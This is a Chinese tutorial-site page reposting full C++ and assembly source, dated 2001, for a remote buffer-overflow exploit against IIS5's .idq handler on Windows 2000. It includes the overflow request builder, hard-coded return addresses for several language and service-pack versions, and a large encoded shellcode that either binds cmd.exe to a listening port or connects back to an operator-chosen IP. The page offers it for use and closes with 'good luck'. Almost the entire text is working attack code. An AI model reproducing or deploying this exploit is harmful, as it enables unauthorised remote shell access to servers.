当前位置:Linux教程 - Linux - IIS5_IDQ命令行溢出程序源代码--snake

IIS5_IDQ命令行溢出程序源代码--snake

SNAKE的IIS5_IDQ命令行溢出程序源代码

by snake. 2001/7/31 

IIS5_IDQ溢出。。。从Internet上学习到的,也让他回归internet.

 

文件结构:

cpp文件: iisidqoverflow.cpp 和 SkShellCodeFunc.cpp
头文件: SkShellCodeFunc.h
功能文件: WSAStart.cpp和SnakeSocket.cpp wsastart.h snakesocket.h(这4个文件不提供...因为,他们实现的只是WSAStart和socket的功能,你要成功编译本程序,必须自己替换相关的WSAStart和socket功能的代码.特此声明!)
中间文件: iis_idq.asm --用来实现shellcode数据的文件,编译的时候,不必编译,只是为了中间产生shellcode数据.它实现了溢出后,程序的处理:创建一个进程,并且绑定一个端口。这个还可以用于其他的windows溢出.
 

文件1:iisidqoverflow.cpp (主文件)

#include
#include ""snakesocket.h""
#include ""wsastart.h""
#include ""SkShellCodeFunc.h""

//function predeclare.
//取得 需要 地址 信息
void GetNecesProcAddr( char *szInfo, int iMaxSize);
//生成我的 shell code代码.
int Sk_Make_IIS5_IDQ_ShellCode(char *pszOutput, SYSTEM_TYPE SystemType, ConnectStruct *pConnectStruct, LPCTSTR lpszBindCmd);


//宣示帮助.
void ShowHelp()
{
int i;

printf(""运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 <输入命令1> "");
printf("" 或者: 操作系统类型 目的地址 web端口 2 溢出连接IP 溢出连接端口 <输入命令1> "");
printf("" 其中,如果输入命令参数没有输入,那么,默认为:""cmd.exe /c + dir"""");
printf("" 如果为1,那么,将输入新的命令."");

printf("" 支持的操作系统 类型: ---- "");

for( i=0; i 0){
send( msocket, szBuff, iLen, 0);
}

return (iLen>0)?true:false;
}

int main(int argc, char *argv[])
{
CWSAStart wsaStart;
CSnakeSocket snakeSocket;
WORD wPort;
DWORD dwIP;

if( argc > 1){
if( stricmp( argv[1], ""GetAddr"") == 0){
char szTemp[12048];
GetNecesProcAddr(szTemp, sizeof(szTemp) );

printf(""%s "",szTemp);

OSVERSIONINFO osInfo;

osInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx( &osInfo);
printf(""Version: %d - %d. Build:%d. ID:%d [%s] "",
osInfo.dwMajorVersion, osInfo.dwMinorVersion,
osInfo.dwBuildNumber, osInfo.dwPlatformId,
osInfo.szCSDVersion);
return 0;
}
}
if( argc < 5){
ShowHelp();
return 0;
}
wsaStart.StartUP();

SYSTEM_TYPE SystemType = (SYSTEM_TYPE)atoi(argv[1]);
if( SystemType >= MAX_SYSTEM_TYPE_NUM){
printf(""操作系统类型 不正确. "");
ShowHelp();
return 0;
}
dwIP = snakeSocket.GetHostAddr( argv[2]);
if( dwIP == 0){
printf(""输入地址不对. "");
return 0;
}

Sk_ConnectType connectType;
ConnectStruct connectStruct;
char szCommand[129]=""cmd.exe /c dir c:"";
BOOL bInputCommand=false;

connectType = (Sk_ConnectType)atoi(argv[4]);
connectStruct.byConnectType = connectType;
switch(connectType){
case LISTEN_ON_PORT:
connectStruct.wListenPort = atoi(argv[5]);
if( argc >= 7){
bInputCommand = true;
}
break;
case CONNECT_TO_HOST:
if( argc < 6){
printf(""参数不足够. "");
return 0;
}
connectStruct.dwConnectIP = snakeSocket.GetHostAddr(argv[5]);
connectStruct.wConnectPort = atoi(argv[6]);
if( argc >= 8){
bInputCommand = true;
}
break;
default:
printf(""溢出类型不正确. "");
return 0;
}

if( bInputCommand){
printf("" 请输入绑定的命令:"");
scanf( ""%s"",szCommand);
}

snakeSocket.CreateSocket();
wPort = atoi(argv[3]);

if( !snakeSocket.connect( argv[2], wPort)){
printf(""连接目的机器 %s:%d 失败. "", argv[2], wPort);
return 0;
}
else
printf(""连接目的机器 %s:%d OK. "", argv[2], wPort);

BOOL bValue = SendIDQExploit( snakeSocket.m_Socket, SystemType, &connectStruct, szCommand);

if( bValue){
printf( ""发送shellcode 到 %s:%d OK "", argv[2], wPort);
printf("" 现在,如果系统类型正确,并且漏洞存在,那么,应该 可以得到 [%s] 结果了...,good luck.!"", szCommand);
}
else{
printf( ""发送失败, 对方系统类型不支持 "");
}

snakeSocket.CloseSocket();
wsaStart.CleanUP();

return 0;
}


文件2. SkShellCodeFunc.cpp (发送shellcode的文件)

//SkShellCodeFunc.cpp
////////////////////////////////////////////////////////////////////////////////
// shellcode 函数
////////////////////////////////////////////////////////////////////////////////
// start by snake. 2001/7/11
////////////////////////////////////////////////////////////////////////////////

#include
#include ""SkShellCodeFunc.h""

//搜索JUMP_EBX的地址
WORD Search_Jump_Ebx_Code(DWORD *dwArray, WORD wMaxCount);


static const char szSystemName[MAX_SYSTEM_TYPE_NUM+1][60]=
{
""IIS5中文Win2k Sp0"",
""IIS5中文Win2k Sp1"",
""IIS5中文Win2k Sp2"",

""IIS5 English Win2k Sp0"",
""IIS5 English Win2k Sp1"",
""--IIS5 English Win2k Sp2"",


""IIS5 Japanese Win2k Sp0"",
""IIS5 Japanese Win2k Sp1"",
""--IIS5 Japanese Win2k Sp2"",


""IIS5 Mexico Win2k"",
""--IIS5 Mexico Win2k sp1"",
""--IIS5 Mexico Win2k sp2"",

""Unknown.."",
};

//取得一个系统的名字.
LPCTSTR GetSystemName( SYSTEM_TYPE type)
{
if( type > MAX_SYSTEM_TYPE_NUM) type = MAX_SYSTEM_TYPE_NUM;
return szSystemName[type];
}

typedef struct _Call_Func_Addr{
DWORD dwGetModuleHandle;
DWORD dwGetProcAddress;
DWORD dwRetJmpEbxAddr;
}Call_Func_Addr;

//2个函数的地址(不通的系统有不通的地址)
static const Call_Func_Addr AllSystemFuncAddr[MAX_SYSTEM_TYPE_NUM]=
{
{ 0x77e756db, 0x77e7564b, 0x77e4ac97}, //IIS5_WIN2K_CHINESE_SP0
{ 0x77e6380e, 0x77e67031, 0x77E4BF17}, //IIS5_WIN2K_CHINESE_SP1
{ 0x77e66c42, 0x77e69ac1, 0x77e4ac97}, //IIS5_WIN2K_CHINESE_SP2

{ 0x77E956DB, 0x77E9564B, 0x77E6F533}, //IIS5_WIN2K_ENGLISH_SP0
{ 0x77E8380E, 0x77E87031, 0x77E6E52B}, //IIS5_WIN2K_ENGLISH_SP1
{ 0, 0}, //IIS5_WIN2K_ENGLISH_SP2

{ 0x77E656DB, 0x77E6564B, 0x77E3AF17}, //IIS5_WIN2K_JAPANESE_SP0,
{ 0x77E5380E, 0x77E57031, 0x77E3BCAF}, //IIS5_WIN2K_JAPANESE_SP1,
{ 0, 0}, //IIS5_WIN2K_JAPANESE_SP2,

{ 0x77E956DB, 0x77E9564B, 0x77E596D2 },//IIS_WIN2K_MEXICO_SP0,
{ 0, 0, 0 },//IIS_WIN2K_MEXICO_SP0,
{ 0, 0, 0 },//IIS_WIN2K_MEXICO_SP0,
};

//下面的#define 代码 的分析,是从isno的文章里面copy到的,thanks isno.
#define IIS5_IDQ_EXCEPTION_OFFSET 234 /* exception handler offset */
static unsigned char forwardjump[]= ""%u08eb"";
/*这是覆盖异常结构的jmp 08h,用来跳到后面寻址shellcode的那段代码*/

static unsigned char jump_to_shell[]=
""%uC033%uB866%u031F%u0340%u8BD8%u8B03""
""%u6840%uDB33%u30B3%uC303%uE0FF"";
/*
跳转到shellcode去,我不一句句的解释了,如果有兴趣可以自己看,
注意每两个字节都是反的,%uC033在转换后变成了x33xC0。
*/

//下面的数据,可以绑定shell到一个端口,并且监听.
char szSnakeBindShellCode[]=
""x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90""
""x90x90x90x90x90x90x90x90x90""
""x55x8BxECx33xC0x40xC1xE0x0Bx2BxE0xEBx03x90xEBx4ExE8xF9xFFxFFxFFx55x8BxECx57x51x50x52x8Bx7Dx08x8Bx4Dx0Cx8Bx45x10x8Bx55x14xF2xAEx67xE3x06x4Fx88x17x41xEBxF5x5Ax58x59x5Fx5DxC3x53x51x52x33xD2x50x5BxC1xEBx10x50x59x80xFFx01x74x02xFExCBx8AxC3""
""x85xD2x75x08xC1xE0x08x51x5Bx42xEBxEBx5Ax59x5BxC3xEBx4Fx55x8BxECx56x57x52x51x53x50x8Bx7Dx08x8Bx75x0Cx33xDBx33xC9xB1x80x03xF1x8Ax0Ex46x51x8Ax1Ex46x56x8Bx45x10xFFxD0x03xF3x33xC9x8Ax0Ex46x51x8Ax1Ex46x50x56x56x50x8Bx4Dx14xFFxD1x89x07x83xC7""
""x04x5Ex58x03xF3x59xE2xE7x59xE2xD3x58x5Bx59x5Ax5Fx5Ex5DxC3xEBx7Cx55x8BxECx33xC0x66xB8xF0x03x2BxE0x56x57x52x51x53x8Bx75x08x8DxBDxC0xFCxFFxFFx33xC0xB0x02x57x50x8Bx46x54xFFxD0x33xC0x50x40x50x40x50x8Bx46x38xFFxD0x8Bx55x0Cx8Dx1Ax8Ax0Bx50x8D""
""xBDx10xFFxFFxFFx8Dx1Fx33xC0xB0x02x66x89x03x58x80xF9x01x75x69x50x50x8Bx42x04xE8x31xFFxFFxFFx8BxC8x86xE9x58x8Dx5Fx02x8Bx55x0Cx66x89x0Bx33xC0x8Dx5Fx04x89x03x58x50x33xC9xB1x10x51x57x50x8Bx46x3CxFFxD0xEBx02xEBx4Dx58x50x33xC9x41x51x50x8Bx46""
""x40xFFxD0x58x50x33xC9xB1x10x8DxBDx40xFFxFFxFFx89x0Fx57x8DxBDx10xFFxFFxFFx57x50x8Bx46x44xFFxD0x5Ax50x52x8Bx46x58xFFxD0x58x83xF8xFFx74x7AxEBx53x50x8Bx42x10xE8xC9xFExFFxFFx8BxC8x86xE9x8Dx5Fx02x66x89x0BxEBx02xEBx6Ax8Bx42x08xE8xB3xFExFFxFF""
""x8BxC8xC1xE1x10x8Bx42x0CxE8xA6xFExFFxFFx66x8BxC8x8Dx5Fx04x89x0Bx58x50x33xC9xB1x10x51x57x50x8Bx46x5CxFFxD0x8BxC8x58x67xE3x0Bx90x50x8Bx46x58xFFxD0x33xC0xEBx25x50x50x5Ax8DxBDx10xFFxFFxFFx33xC0xB0x01x89x07xC1xE0x02x50x57x66xB8x06x10x50x66""
""xB8xFFxFFx50x52x8Bx46x50xFFxD0x58x5Bx59x5Ax5Fx5Ex8BxE5x5DxC3xEBx62x55x8BxECx57x56x52x51x53x50x8Bx7Dx0Cx57x5Ax33xC0x8Dx7Fx24x57x33xC9xB1x44xF3xAAx5Fx8Dx37xB1x44x89x0Ex8Dx77x2Cx66xB9x01x01x89x0Ex57x8Dx7Fx38x8Dx72x0Cx8Bx06x89x07x5Fx57x8D""
""x7Fx3Cx8Dx72x04x8Bx06x89x07x5Fx8Bx75x08x8Bx46x30xFFxD0x33xC9x51x41x51x41x51x8Dx57x40x52x50x56x8Bx75x0Cx8Dx76x04x8Bx1Ex5ExEBx02xEBx42x53x50x8Bx46x2CxFFxD0x33xC0x8Bx7Dx0Cx8Dx57x14x52x8Dx57x24x52x50x50x50x40x50x48x50x50x8Bx55x10x52x50x8B""
""x46x0CxFFxD0x8Bx47x0Cx50x8Bx46x34xFFxD0x8Bx47x04x50x8Bx46x34xFFxD0x58x5Bx59x5Ax5Ex5Fx8BxE5x5DxC3xEBx33x55x8BxECx56x57x52x51x53x50x8Bx75x08x8Bx7Dx0Cx8Bx47x10x50x8Bx46x58xFFxD0x8Bx07x50x8Bx46x34xFFxD0x8Bx47x08x50x8Bx46x34xFFxD0x58x5Bx59""
""x5Ax5Fx5Ex8BxE5x5DxC3xEBx77x55x8BxECx33xC0x66xB8xF0x02x2BxE0x56x57x52x51x53x8Bx75x08x8Bx7Dx0Cx8Dx55xF8x33xC0x40x89x02x8Dx55xF8x8Bx02x85xC0x74x2Ax33xC0x50xB0xF0x50x8Dx85x08xFFxFFxFFx50x8Dx5Fx10x8Bx03x50x8Bx46x4CxFFxD0x83xF8xFFx75x0Fx50""
""x5Ax8Bx46x28xFFxD0x66x3Dx4Cx27x74x28xEBx7Fx85xC0x74x7Bx7Ex20x33xD2x52x8Dx5DxFCx53x50x8Dx9Dx08xFFxFFxFFx53x8Bx47x08x50x8Bx46x18xFFxD0x85xC0x74x5DxEBx02xEBx62x33xC0x50x8Dx55xFCx52x50x50x50x8Bx07x50x8Bx46x10xFFxD0x8Bx45xFCx85xC0x74x3Bx33""
""xC0x50x8Dx55xFCx52xB0xF0x50x8Dx95x08xFFxFFxFFx52x8Bx07x50x8Bx46x1CxFFxD0x85xC0x74x23x33xC0x50x8Bx45xFCx50x8Dx95x08xFFxFFxFFx52x8Bx47x10x50x8Bx46x48xFFxD0x83xF8xFFx74x07xEBxACxE9x4CxFFxFFxFFx5Bx59x5Ax5Fx5Ex8BxE5x5DxC3xEBx72x55x8BxECx33""
""xC0xB0xF0x2BxE0x56x57x52x51x53x8Bx75x08x8Bx7Dx0Cx33xDBx8Dx7DxF0x8Dx57x04x89x1Ax8Dx57x08x43x89x1Ax8Dx17xB3x0Cx89x1Ax33xDBx57x53x57x8Bx7Dx0Cx8Dx57x04x89x1Ax52x8Dx17x52x8Bx46x04xFFxD0x5Fx85xC0x74x1Fx33xDBx53x57x8Bx7Dx0Cx8Dx57x08x52x8Dx57""
""x0Cx89x1Ax52x8Bx46x04xFFxD0x85xC0x74x05x33xC0x40xEBx05x33xC0xEBx01x90x5Bx59x5Ax5Fx5Ex8BxE5x5DxC3x8Dx34x24x8Bx36x33xC9x66xB9xCCx04x03xF1x8DxBDx30xFExFFxFFx57x66xB9xFAx01xF3xA4x5Fx57x33xC9x51xB1x2Bx51x66xB9xE6x01x51x33xDBxB3x14x03xFBx57""
""xE8xCCxFBxFFxFFx83xC4x10x33xC9x66xB9xDDx01x8BxF7x03xF1x8Bx46x04x50x8Bx06x50x57x8DxB5x30xFDxFFxFFx56xE8xF6xFBxFFxFFx83xC4x10x5Fx57x56xE8x3CxFCxFFxFFx83xC4x08x85xC0x74x57x8DxBDx10xFCxFFxFFx8Dx5Fx10x89x03x57x56xE8x16xFFxFFxFFx83xC4x08x85""
""xC0x74x3Ex8DxBDx30xFExFFxFFx33xC0xB0x14x03xF8x57x8DxBDx10xFCxFFxFFx57x56xE8x3BxFDxFFxFFx83xC4x0Cx57x56xE8x0ExFExFFxFFx83xC4x08x57x56xE8xCFxFDxFFxFFx83xC4x08x33xC0x50x8Dx57x14x8Bx02x50x8Bx06xFFxD0x33xC0x50x8Bx46x24xFFxD0xC3x8BxE5x5Dx90""
""x90x02xFFxFFxFFx51x01x01x02x01x02x25x01xC0x01xA8x01x58x01x01x02x63x6Dx64x2Ex65x78x65x2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2B""
""x2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx02x0Ex6Bx65x72x6Ex65""
""x6Cx33x32x2Ex64x6Cx6Cx2Bx2Bx0Ex11x54x65x72x6Dx69x6Ex61x74x65x50x72x6Fx63x65x73x73x2Bx0Bx43x72x65x61x74x65x50x69x70x65x2Bx10x47x65x74x53x74x61x72x74x75x70x49x6Ex66x6Fx41x2Bx0Fx43x72x65x61x74x65x50x72x6Fx63x65x73x73x41x2Bx0Ex50x65x65x6B""
""x4Ex61x6Dx65x64x50x69x70x65x2Bx0Cx47x6Cx6Fx62x61x6Cx41x6Cx6Cx6Fx63x2Bx0Bx57x72x69x74x65x46x69x6Cx65x2Bx2Bx09x52x65x61x64x46x69x6Cx65x2Bx06x53x6Cx65x65x70x2Bx0Cx45x78x69x74x50x72x6Fx63x65x73x73x2Bx0Ex47x65x74x4Cx61x73x74x45x72x72x6Fx72""
""x2Bx2Bx10x44x75x70x6Cx69x63x61x74x65x48x61x6Ex64x6Cx65x2Bx12x47x65x74x43x75x72x72x65x6Ex74x50x72x6Fx63x65x73x73x2Bx0Cx43x6Cx6Fx73x65x48x61x6Ex64x6Cx65x2Bx0Bx77x73x32x5Fx33x32x2Ex64x6Cx6Cx2Bx0Bx07x73x6Fx63x6Bx65x74x2Bx05x62x69x6Ex64x2B""
""x07x6Cx69x73x74x65x6Ex2Bx07x61x63x63x65x70x74x2Bx05x73x65x6Ex64x2Bx05x72x65x63x76x2Bx0Bx73x65x74x73x6Fx63x6Bx6Fx70x74x2Bx0Bx57x53x41x53x74x61x72x74x75x70x2Bx0Cx63x6Cx6Fx73x65x73x6Fx63x6Bx65x74x2Bx08x63x6Fx6Ex6Ex65x63x74x2Bx0Cx67x65x74""
""x68x6Fx73x74x6Ex61x6Dx65x2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2Bx2BxDBx56xE7x77x4Bx56xE7x77x00"";

//我的私有信息:
static const char szSnakeSign[]=""snake_program_code_v2.0"";

#define PREHEAD_NOP_SIZE 0x24

#define dwConnectType_Offset 1249+PREHEAD_NOP_SIZE
#define dwListenPort_Offset 1253+PREHEAD_NOP_SIZE
#define dwConnectIP1_Offset 1257+PREHEAD_NOP_SIZE
#define dwConnectIP2_Offset 1261+PREHEAD_NOP_SIZE
#define dwConnectPort_Offset 1265+PREHEAD_NOP_SIZE
#define dwExecCommand_Offset 1269+PREHEAD_NOP_SIZE
#define wExecCommandSize 128
#define dwGetModuleHandle_Offset 1746+PREHEAD_NOP_SIZE
#define dwGetProcAddress_Offset 1750+PREHEAD_NOP_SIZE

BYTE byReservedValue[]={ 0, 0x0a, 0x0d};

;//转换标准word -> snake ShellCode Reserve Value.
;//该 byte == 0, 0x0a, 0x0d,那么,高位为2. 低位 +1.
;// 高位 为1,低位不变.
DWORD Convert_Ansi_Word_To_Sk_Long(WORD wValue)
{
int iReservCount, i;
WORD wTemp;
DWORD dwRetValue = 0;
BOOL bFirst=true;

iReservCount = sizeof(byReservedValue)/sizeof(BYTE);

while(1){
wTemp = wValue&0xff00;
wTemp >>= 8;
for( i=0; i if( wTemp == byReservedValue[i]) break;
}
if( i == iReservCount)
wTemp |= 0x0100;
else{
wTemp++;
wTemp |= 0x0200;
}
dwRetValue |= wTemp;

if( bFirst){
bFirst = false;
dwRetValue <<= 16;
wValue <<=8;
}
else
break;
}
return dwRetValue;
}


typedef void (*SkRunPointer)();

//生成我的 IIS5 idq shell code代码.
int Sk_Make_IIS5_IDQ_ShellCode(char *pszOutput, SYSTEM_TYPE SystemType, ConnectStruct *pConnectStruct, LPCTSTR lpszBindCmd)
{
char szBuf[2048];
char szOutput[10000], szCreateCode[10000];
char *p;

DWORD dwGetModuleHandle = 0, dwGetProcAddress=0, dwRetJmpEbx=0;
WORD wSelectValue = MAX_SYSTEM_TYPE_NUM;

switch( SystemType){
case IIS5_WIN2K_CHINESE_SP0:
wSelectValue = IIS5_WIN2K_CHINESE_SP0;
break;
case IIS5_WIN2K_CHINESE_SP1:
wSelectValue = IIS5_WIN2K_CHINESE_SP1;
break;
case IIS5_WIN2K_CHINESE_SP2:
wSelectValue = IIS5_WIN2K_CHINESE_SP2;
break;

case IIS5_WIN2K_ENGLISH_SP0:
wSelectValue = IIS5_WIN2K_ENGLISH_SP0;
break;
case IIS5_WIN2K_ENGLISH_SP1:
wSelectValue = IIS5_WIN2K_ENGLISH_SP1;
break;
case IIS5_WIN2K_ENGLISH_SP2:
break;

case IIS5_WIN2K_JAPANESE_SP0:
wSelectValue = IIS5_WIN2K_JAPANESE_SP0;
break;
case IIS5_WIN2K_JAPANESE_SP1:
wSelectValue = IIS5_WIN2K_JAPANESE_SP1;
break;
case IIS5_WIN2K_JAPANESE_SP2:
wSelectValue = IIS5_WIN2K_JAPANESE_SP2;
break;

case IIS_WIN2K_MEXICO_SP0:
wSelectValue = IIS_WIN2K_MEXICO_SP0;
break;
case IIS_WIN2K_MEXICO_SP1:
wSelectValue = IIS_WIN2K_MEXICO_SP1;
break;
case IIS_WIN2K_MEXICO_SP2:
wSelectValue = IIS_WIN2K_MEXICO_SP2;
break;
default:
break;
}

if( wSelectValue >= MAX_SYSTEM_TYPE_NUM) return 0;

dwGetModuleHandle = AllSystemFuncAddr[wSelectValue].dwGetModuleHandle;
dwGetProcAddress = AllSystemFuncAddr[wSelectValue].dwGetProcAddress;
dwRetJmpEbx = AllSystemFuncAddr[wSelectValue].dwRetJmpEbxAddr;

if( dwGetModuleHandle == 0) return 0;

memset( szBuf, 1, sizeof(szBuf));
memcpy( szBuf, szSnakeSign, strlen(szSnakeSign));
p = &(szBuf[IIS5_IDQ_EXCEPTION_OFFSET-2]);

wsprintf( p,""%s"", forwardjump);
p += strlen((char *)forwardjump);
*p++ = 1;
*p++ = ''%'';
*p++ = ''u'';
wsprintf( p, ""%04x"", (dwRetJmpEbx>>0)&0xffff);
p += 4;
*p ++ = ''%'';
*p ++ = ''u'';
wsprintf( p, ""%04x"", (dwRetJmpEbx>>16)&0xffff);
p += 4;
*p++ = 1;
wsprintf( p, ""%s"", jump_to_shell);

//wsprintf( szOutput,""GET /n.idq?%s=b HTTP/1.0 Shell: %s "", szBuf, szMyCode);
wsprintf( szOutput,""GET /n.idq?%s=b HTTP/1.0 Snake: "", szBuf);

memcpy( szCreateCode, szSnakeBindShellCode, sizeof(szSnakeBindShellCode));


//将地址信息, 端口信息 写入 shellcode代码.
DWORD *pdw, dwTemp;
WORD wTemp;
char *lpsz, szExecTemp[wExecCommandSize];

//Init Value.
switch( pConnectStruct->byConnectType){
case LISTEN_ON_PORT:
szCreateCode[dwConnectType_Offset] = LISTEN_ON_PORT;
dwTemp = Convert_Ansi_Word_To_Sk_Long( pConnectStruct->wListenPort);
lpsz = &( szCreateCode[dwListenPort_Offset]);
pdw = (DWORD *)lpsz;
*pdw = dwTemp; //set listen port.
break;
case CONNECT_TO_HOST:
szCreateCode[dwConnectType_Offset] = CONNECT_TO_HOST;

wTemp = (WORD)( (pConnectStruct->dwConnectIP) & 0xffff);
dwTemp = Convert_Ansi_Word_To_Sk_Long( wTemp);
lpsz = &( szCreateCode[dwConnectIP2_Offset]);
pdw = (DWORD *)lpsz;
*pdw = dwTemp; //set IP1.

wTemp = (WORD)( ((pConnectStruct->dwConnectIP) & 0xffff0000) >> 16);
dwTemp = Convert_Ansi_Word_To_Sk_Long( wTemp);
lpsz = &( szCreateCode[dwConnectIP1_Offset]);
pdw = (DWORD *)lpsz;
*pdw = dwTemp; //set IP2.

dwTemp = Convert_Ansi_Word_To_Sk_Long( pConnectStruct->wConnectPort);
lpsz = &( szCreateCode[dwConnectPort_Offset]);
pdw = (DWORD *)lpsz;
*pdw = dwTemp; //set connect Port.
break;
default:
return 0;
}

lpsz = &( szCreateCode[dwGetModuleHandle_Offset]);
pdw = (DWORD *)lpsz;
*pdw = dwGetModuleHandle; //set dwGetModuleHandle.

lpsz = &( szCreateCode[dwGetProcAddress_Offset]);
pdw = (DWORD *)lpsz;
*pdw = dwGetProcAddress; //set dwGetProcAddress.

memset( szExecTemp, ''+'', wExecCommandSize);
wTemp = strlen( lpszBindCmd);
if(wTemp >= wExecCommandSize)
wTemp = wExecCommandSize-1;
strncpy( szExecTemp, lpszBindCmd, wTemp);

lpsz = &( szCreateCode[dwExecCommand_Offset]);
memcpy( lpsz, szExecTemp, wExecCommandSize);

strcat( szOutput, szCreateCode);
strcat( szOutput, "" "");

strcpy( pszOutput, szOutput);

return strlen( pszOutput);
}



//取得 需要 地址 信息
void GetNecesProcAddr( char *szInfo, int iMaxSize)
{
HANDLE hModule = GetModuleHandle(""kernel32"");
DWORD dwAddr_GetHandle, dwAddr_GetProcAddr;
char szOutput[11024], szJmpAddr[8124], szOne[20];
DWORD dwJmpEbx[100];
WORD wGetJmpCount,w;


wGetJmpCount = Search_Jump_Ebx_Code(dwJmpEbx, 100);
szJmpAddr[0] = 0;
for( w=0; w wsprintf( szOne,"" 0x%X"", dwJmpEbx[w]);
strcat( szJmpAddr, szOne);
}


dwAddr_GetHandle = (DWORD)GetProcAddress( (HINSTANCE)hModule,""GetModuleHandleA"");
dwAddr_GetProcAddr = (DWORD)GetProcAddress( (HINSTANCE)hModule, ""GetProcAddress"");
wsprintf( szOutput,""Addr1: 0x%X; Addr2: 0x%X JJ:%s"",
dwAddr_GetHandle, dwAddr_GetProcAddr, szJmpAddr);
//MessageBox( NULL, szOutput, ""topic"", MB_OK);
strncpy( szInfo, szOutput, iMaxSize);
szInfo[iMaxSize-1] = 0;
}

#define JUMP_EBX_CODE 0xe3ff

//搜索JUMP_EBX的地址
WORD Search_Jump_Ebx_Code(DWORD *dwArray, WORD wMaxCount)
{
HANDLE hDllModule = GetModuleHandle(""user32"");

char *pValue;
WORD wTemp = JUMP_EBX_CODE;
DWORD dwMin = (DWORD)hDllModule,dwMax;
WORD wCount = 0;

pValue = (char*)dwMin;
wCount = 0;

dwMax = dwMin + 400000; //size is 39kb.
while( ( (DWORD)pValue) < dwMax){
if( *((WORD *)pValue) == JUMP_EBX_CODE){
dwArray[wCount++] = (DWORD)pValue;
if( wCount >= wMaxCount) break;
}
pValue++;
}
return wCount;
}



文件3. SkShellCodeFunc.h -- 必须的头文件
//SkShellCodeFunc.h
////////////////////////////////////////////////////////////////////////////////
// header file for 定义shellcode 函数
////////////////////////////////////////////////////////////////////////////////
// start by snake. 2001/7/11
////////////////////////////////////////////////////////////////////////////////

#ifndef _SNAKE_SHELLCODE_FUNC_HEADER_2001_7_11
#define _SNAKE_SHELLCODE_FUNC_HEADER_2001_7_11


enum SYSTEM_TYPE{
IIS5_WIN2K_CHINESE_SP0,
IIS5_WIN2K_CHINESE_SP1,
IIS5_WIN2K_CHINESE_SP2,

IIS5_WIN2K_ENGLISH_SP0,
IIS5_WIN2K_ENGLISH_SP1,
IIS5_WIN2K_ENGLISH_SP2,

IIS5_WIN2K_JAPANESE_SP0,
IIS5_WIN2K_JAPANESE_SP1,
IIS5_WIN2K_JAPANESE_SP2,

IIS_WIN2K_MEXICO_SP0,
IIS_WIN2K_MEXICO_SP1,
IIS_WIN2K_MEXICO_SP2,

MAX_SYSTEM_TYPE_NUM,
};

enum Sk_ConnectType{ CONNECTTYPE_NONE=0, LISTEN_ON_PORT=1, CONNECT_TO_HOST, MAX_CONNECT_TYPE};

typedef struct _ConnectStruct{
BYTE byConnectType;
WORD wListenPort;
DWORD dwConnectIP;
WORD wConnectPort;
}ConnectStruct;

//取得一个系统的名字.
LPCTSTR GetSystemName( SYSTEM_TYPE type);

#endif //_SNAKE_SHELLCODE_FUNC_HEADER_2001_7_11



文件4.iis_idq.asm --shellcode的汇编代码(编译不需要)
;//IIS5_idq.asm
.386p
.model flat,c

;//下面定义 连接 信息 结构.
stConnectInfo struct
byConnectType db 0 ;//=1, 监听; =2,连结外部ip/port.
byReserv1 db 1 ;//nothing just for Word Adjusted.
dwReserv1 dw 1 ;//nothing just for Word Adjusted.
dwListenPort dd 0 ;//DDWORD dwIP1+dwIP2;
dwIP1 dd 0 ;// //IP 和端口,一位用2位表示. 高位为类型,低位为值.
dwIP2 dd 0 ;// 1.高位 =1, 低位为普通value.
dwConnectPort dd 0 ;// 2.高位 = 2, 低位 应该 = value -1
stConnectInfo ends

;//用到的函数 结构
SkOverflowFuncAddr struct
TerminateProcess dd 0;
CreatePipe dd 0;
GetStartupInfoA dd 0;
CreateProcessA dd 0;
PeekNamedPipe dd 0;
GlobalAlloc dd 0;
WriteFile dd 0;
ReadFile dd 0;
Sleep dd 0;
ExitProcess dd 0;
GetLastError dd 0;
DuplicateHandle dd 0;
GetCurrentProcess dd 0;
CloseHandle dd 0;
socket dd 0;
bind dd 0;
listen dd 0;
accept dd 0;
send dd 0;
recv dd 0;
setsockopt dd 0;
WSAStartup dd 0;
closesocket dd 0;
connect dd 0;
gethostname dd 0;
SkOverflowFuncAddr ends

STARTUPINFO struct
cb dd 0;
lpReserved dd 0;
lpDesktop dd 0;
lpTitle dd 0;
dwX dd 0;
dwY dd 0;
dwXSize dd 0;
dwYSize dd 0;
dwXCountChars dd 0;
dwYCountChars dd 0;
dwFillAttribute dd 0;
dwFlags dd 0;
wShowWindow dw 0;
cbReserved2 dw 0;
lpReserved2 dd 0;
hStdInput dd 0;
hStdOutput dd 0;
hStdError dd 0;
STARTUPINFO ends

PROCESS_INFORMATION struct
hProcess dd 0;
hThread dd 0;
dwProcessId dd 0;
dwThreadId dd 0;
PROCESS_INFORMATION ends;

;//管套 - 命令交互 结构
Shell_Cmd_Pipe struct
hReadPipe dd 0;
ShellStdoutPipe dd 0;
hWritePipe dd 0;
ShellStdinPipe dd 0;
msocket dd 0;
ProcessInformation PROCESS_INFORMATION <>;
nstartupinfo STARTUPINFO <>;
Shell_Cmd_Pipe ends

SIZE_OF_TEMP_BUFFER equ 0f0h
;//接受,写管套数据结构.
Recv_Write_Socket_Pipe_Data struct
szTemp db SIZE_OF_TEMP_BUFFER dup(0)
dwBreak DD 0
dwTemp DD 0
Recv_Write_Socket_Pipe_Data ends;

SOCKADDR_IN struct
sin_family dw 0;
sin_port dw 0;
sin_addr dd 0;
sin_zero db 8 dup(0);
SOCKADDR_IN ends

